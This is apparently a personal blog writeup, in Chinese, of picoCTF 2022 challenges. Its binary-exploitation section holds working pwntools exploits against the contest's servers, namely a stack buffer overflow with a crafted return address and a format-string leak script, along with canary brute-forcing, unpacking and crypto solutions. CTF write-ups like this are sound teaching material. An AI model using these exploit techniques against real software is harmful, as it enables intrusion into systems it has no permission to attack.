picoCTF_2022 Writeup

date
Mar 30, 2022
slug
picoctf2022
status
Published
tags
CTF
WriteUp
summary
Simple writeup for an easy CTF.
type
Post
这个比赛让我想起了5年前刚开始接触CTF的时光,哭惹(x

Binary Exploitation

basic-file-exploit

if ((entry_number = strtol(entry, NULL, 10)) == 0) {
    puts(flag);
    fseek(stdin, 0, SEEK_END);
    exit(0);
}
送分题,输入的entry为"0"或者包含非numeric即可。

buffer overflow0

void sigsegv_handler(int sig) {
  printf("%s\n", flag);
  fflush(stdout);
  exit(1);
}
...
signal(SIGSEGV, sigsegv_handler); // Set up signal handler
也是送分题,但代码很有意思,将SIGSEGV的signal handler设置为了打印flag函数,于是随便乱打垃圾内容导致溢出即可。

buffer overflow1

送分题again。
void vuln(){
    char buf[BUFSIZE];
    gets(buf);
    printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

buffer overflow2

和上一题一样,只不过需要传参数。Exploit:
from pwn import *
sh = remote('saturn.picoctf.net', 59834)

payload = b'A' * (0x70) + p32(0x08049296) + b'A' * 4 + p32(0xCAFEF00D) + p32(0xF00DF00D)
sh.sendline(payload)
sh.interactive()

buffer overflow3

这题比较有意思,出题人自己造了个canary的轮子。
char global_canary[CANARY_SIZE];
void read_canary() {
  FILE *f = fopen("canary.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'canary.txt' in this directory with your",
                    "own debugging canary.\n");
    exit(0);
  }

  fread(global_canary,sizeof(char),CANARY_SIZE,f);
  fclose(f);
}
...
void vuln(){
   char canary[CANARY_SIZE];
   char buf[BUFSIZE];
   char length[BUFSIZE];
   int count;
   int x = 0;
   memcpy(canary,global_canary,CANARY_SIZE);
   ...
   printf("Input> ");
   read(0,buf,count);

   if (memcmp(canary,global_canary,CANARY_SIZE)) {
      printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
      exit(-1);
   }
   printf("Ok... Now Where's the Flag?\n");
   fflush(stdout);
}
注意到每次运行都是读取一个文件的内容作为canary,即该canary对于每个instance均为定值,因此可以从低字节到高字节逐个爆破即可。 因此canary为\x42\x69\x52\x64
notion image
notion image

x-sixty-what

和之前是一样的栈溢出,只不过架构变为了x64。

RPS

石头剪刀布,连胜五次获得flag。
char* hands[3] = {"rock", "paper", "scissors"};
char* loses[3] = {"paper", "scissors", "rock"};
...
bool play () {
  char player_turn[100];
  ...
  int computer_turn = rand() % 3;
  printf("You played: %s\n", player_turn);
  printf("The computer played: %s\n", hands[computer_turn]);

  if (strstr(player_turn, loses[computer_turn])) {
    puts("You win! Play again?");
    return true;
  } else {
    puts("Seems like you didn't win this time. Play again?");
    return false;
  }
}
本意应该是使用strcmp判断是否为获胜的选项,结果这里用了strstr,只要用户输入包含获胜的出拳(石头/剪刀/布)即判定为胜利,因此输入rock/paper/scissors 五次即可成功。

flag leak

格式化字符串漏洞之栈内容泄露教学。
void vuln(){
   char flag[BUFSIZE];
   char story[128];

   readflag(flag, FLAGSIZE);

   printf("Tell me a story and then I'll tell you one >> ");
   scanf("%127s", story);
   printf("Here's a story - \n");
   printf(story);
   printf("\n");
}
Exp:
from pwn import *
sh = remote('saturn.picoctf.net', 61581)
fmts = b''
for pos in range(36, 48):
    fmts += b'%%%d$p' % pos
sh.sendline(fmts)
sh.recvuntil(b"Here's a story - \n")
result = sh.recvline()
print(result)
flag = ''
for index in range(12):
    hexnum = result[index * 10 + 2:index * 10 + 10]
    ss = ''
    for byte_index in range(4):
        ss += chr(int(hexnum[byte_index * 2: byte_index * 2 + 2], 16))
    ss = ss[::-1]
    flag += ss
print(flag)
notion image

Reverse

前三题略。

patchme

键入ak98-=90adfjhgj321sleuth9000即可获得flag。
notion image

safeopener

public static boolean openSafe(String password) {
        String encodedkey = "cGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYz";
        ...
}
base64。

unpackme.py

import base64
from cryptography.fernet import Fernet
payload = b'略:)'

key_str = 'correctstaplecorrectstaplecorrec'
key_base64 = base64.b64encode(key_str.encode())
f = Fernet(key_base64)
plain = f.decrypt(payload)
exec(plain.decode())
exec换为print即可看到真实的payload,从而一眼看到flag。

bloat.py

搞了个混淆。将arg133返回值改为恒True即可。
notion image

Fresh Java

上JD-GUI。 
notion image

Bbbbloat

终于有一个要用IDA的题了喂!
549255得flag。
notion image

unpackme

upx。 upx -d unpackme-upx 本质同上题,这里输入0x683b的十进制值获得flag。
notion image

keygenme

不好意思,动态调试还是秒解。
notion image

Wizaralike

我错了,这题的flag在哪愣没找到……

Forensics

Packets Primer

notion image

Eavesdrop

提取出9002端口接收的内容并用对应的DES密钥解密(openssl des3 -d -salt -in file.des3 -out file.txt -k supersecretpassword123)即可。
notion image

Operation Oni

mount给的磁盘镜像,找到其中的ssh私钥并登陆目标服务器。
notion image

Cryptography

上次有这么多古典密码学的题目还是什么时候?(

basic-mod1

c = [387,248,131,272,373,221,161,110,91,359,390,50,225,184,223,137,225,327,42,179,220,365]
flag = ""
for i in c:
    ii = i % 37
    if ii < 26:
        flag += chr(0x41 + ii)
    elif ii < 36:
        flag += chr(ord('0') + ii - 26)
    else:
        flag += '_'
print(flag)

basic-mod2

考察了高级的模逆:
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    g, y, x = egcd(b%a,a)
    return (g, x - (b//a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('No modular inverse')
    return x%m
#c = [387,248,131,272,373,221,161,110,91,359,390,50,225,184,223,137,225,327,42,179,220,365]
c = [145,126,356,272,98,378,395,352,392,215,446,168,180,359,51,190,404,209,185,115,363,431,103]
flag = ""
for i in c:
    ii = i % 41
    ii = modinv(ii, 41)
    ii -= 1
    if ii < 26:
        flag += chr(0x41 + ii)
    elif ii < 36:
        flag += chr(ord('0') + ii - 26)
    else:
        flag += '_'
print(flag)

credstuff

找到cultirisusername.txt中第几行,找到passwords.txt的这一行,然后凯撒解密。

rail-fence

栅栏密码。

substitution[0-2]

 
notion image
notion image
notion image

Vigenere

维吉尼亚密码,在线工具解密即可。

© transparent 2021 - 2025